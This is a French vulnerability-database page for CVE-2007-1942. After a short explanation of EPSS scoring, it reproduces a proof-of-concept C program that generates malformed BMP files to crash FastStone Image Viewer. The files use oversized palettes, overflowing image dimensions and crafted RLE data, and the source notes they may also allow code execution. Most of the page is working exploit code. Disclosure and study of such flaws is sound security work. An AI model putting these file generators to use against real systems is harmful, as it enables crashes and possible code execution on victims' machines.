CVE-2007-1942 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/23312/info FastStone Image Viewer is prone to multiple denial-of-service vulnerabilities because the application fails to properly handle malformed BMP image files. Successfully exploiting these issues allows attackers to crash the affected application. Given the nature of these issues, attackers may also be able to run arbitrary code, but this has not been confirmed. FastStone Image Viewer 2.9 and 3.6 are affected. #include <stdio.h> #include <stdlib.h> #include <string.h> struct BITMAPFILEHEADER { unsigned int bfSize; unsigned int bfReserved; unsigned int bfOffBits; }; struct BITMAPINFOHEADER { unsigned int biSize; unsigned int biWidth; unsigned int biHeight; unsigned short biPlanes; unsigned short biBitCount; unsigned int biCompression; unsigned int biSizeImage; unsigned int biXPelsPerMeter; unsigned int biYPelsPerMeter; unsigned int biClrUsed; unsigned int biClrImportant; }; void writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) { BITMAPFILEHEADER fileheader; BITMAPINFOHEADER infoheader; memset(&fileheader,0,sizeof(BITMAPFILEHEADER)); memset(&infoheader,0,sizeof(BITMAPINFOHEADER)); unsigned char sig[2]; sig[0] = 'B'; sig[1] = 'M'; fileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes; fileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4; infoheader.biSize = 40; infoheader.biWidth = width; infoheader.biHeight = height; infoheader.biPlanes = 1; infoheader.biBitCount = bpp; infoheader.biCompression = compression; infoheader.biClrUsed = numpalettecolors; FILE *fp = fopen(filename,"wb"); fwrite(&sig,sizeof(sig),1,fp); fwrite(&fileheader,sizeof(BITMAPFILEHEADER),1,fp); fwrite(&infoheader,sizeof(BITMAPINFOHEADER),1,fp); if(palette) fwrite(palette,numpalettecolors*4,1,fp); fwrite(data,numdatabytes,1,fp); fclose(fp); } int main() { unsigned char * buf; buf = (unsigned char *)malloc(4000000); memset(buf,0,4000000); unsigned char * buf2; buf2 = (unsigned char *)malloc(4000000); memset(buf2,0,4000000); //overflows specifying too large palette writebmp("ok8bit.bmp",16,16,8,0,buf,256,buf,16*16); writebmp("paletteof1.bmp",16,16,8,0,buf,65535,buf,16*16); writebmp("paletteof2.bmp",16,16,8,0,buf,1000000,buf,16*16); //integer overflows with image dimensions writebmp("ok24bit.bmp",16,16,24,0,NULL,0,buf,16*16*4); writebmp("wh4intof.bmp",32769,32768,24,0,NULL,0,buf,4000000); writebmp("wh3intof.bmp",37838,37838,24,0,NULL,0,buf,4000000); writebmp("w4intof.bmp",1073741825,1,24,0,NULL,0,buf,4000000); writebmp("w3intof.bmp",1431655767,1,24,0,NULL,0,buf,4000000); //overflows with RLE encoded BMPs buf2[0]=16; buf2[1]=0; writebmp("okRLE.bmp",16,1,8,1,buf,256,buf2,2); for(long i=0;i<500000;i++) { buf2[i*2]=255; buf2[i*2+1]=0; } writebmp("rle8of1.bmp",16,1,8,1,buf,256,buf2,1000000); buf2[0]=15; buf2[1]=0; for(long i=1;i<500000;i++) { buf2[i*2]=255; buf2[i*2+1]=0; } writebmp("rle8of2.bmp",16,1,8,1,buf,256,buf2,1000000); memset(buf2,0,4000000); buf2[0]=0; buf2[1]=2; buf2[2]=255; buf2[3]=0; for(long i=4;i<100000-1;) { buf2[i]=0; buf2[i+1]=254; i+=255; } writebmp("rle8of3.bmp",16,1,8,1,buf,256,buf2,1000000); memset(buf2,0,4000000); for(long i=0;i<100000-1;) { buf2[i]=0; buf2[i+1]=254; i+=255; } writebmp("rle8of4.bmp",16,1,8,1,buf,256,buf2,1000000); }